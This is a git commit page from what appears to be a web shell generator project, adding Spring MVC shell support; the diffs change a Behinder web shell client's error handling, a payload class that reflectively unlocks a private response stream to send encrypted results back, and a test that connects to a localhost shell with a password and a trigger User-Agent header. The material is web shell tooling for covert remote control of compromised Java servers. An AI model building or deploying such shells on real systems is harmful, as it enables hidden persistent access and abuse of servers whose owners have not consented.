feat: support springmvc shell generate

This commit is contained in:
ReaJason
2024-12-22 16:29:02 +08:00
parent c859655e3a
commit 3189ef8f70
50 changed files with 1546 additions and 181 deletions
@@ -63,7 +63,7 @@ public class BehinderManager {
}
String resText = new String(decrypt(resData));
if (StringUtils.isBlank(resText)) {
throw new RuntimeException(new String((byte[]) resultObj.get("data")));
throw new RuntimeException("decrypt text is empty, the raw data is " + new String((byte[]) resultObj.get("data")) + " and the status code is " + resultObj.get("status"));
}
JSONObject jsonObject = JSON.parseObject(resText);
String msg = new String(Base64.decodeBase64(jsonObject.getString("msg")));
@@ -32,7 +32,10 @@ public class Test {
result.put("status", "success");
} finally {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
getOutputStreamMethod.setAccessible(true);
Object so = getOutputStreamMethod.invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
String jsonStr = this.buildJson(result, true);
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
@@ -11,9 +11,9 @@ class BehinderManagerTest {
@Test
void test() {
BehinderManager behinderManager = BehinderManager.builder()
.entrypoint("http://localhost:8080/app/test")
.pass("test123")
.header("User-Agent", "testValve").build();
.entrypoint("http://localhost:8080/test")
.pass("pass")
.header("User-Agent", "BehinderinterceptorBase64").build();
behinderManager.test();
}
}